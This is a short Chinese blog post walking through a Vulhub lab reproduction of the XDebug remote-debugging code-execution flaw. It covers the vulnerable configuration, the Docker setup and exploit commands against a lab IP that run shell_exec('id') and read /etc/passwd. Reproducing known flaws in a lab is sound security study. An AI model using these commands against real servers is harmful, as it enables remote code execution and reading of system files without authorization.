php-xDebug远程调试漏洞(代码执行)


XDebug远程调试漏洞

xdebug

Xdebug是一个开放源代码的PHP程序调试器(即一个Debug工具),可以用来跟踪,调试和分析PHP程序的运行状况。

如果目标开启了远程调试模式,并设置remote_connect_back = 1

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

环境搭建

cd /vulhub/php/xdebug-rce
docker-compose up -d

启动完成后打开http://192.168.3.151:8080发现主页是phpinfo

查看xdebug配置

image-20220506093036691

测试

使用官方的漏洞复现脚本

python3 exp.py -t http://192.168.3.151:8080/index.php -c 'shell_exec('id');'

image-20220506093943235

看一下/etc/passwd

python3 exp.py -t http://192.168.3.151:8080/index.php -c 'shell_exec("cat /etc/passwd");'

image-20220506094052923

结束!!!


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录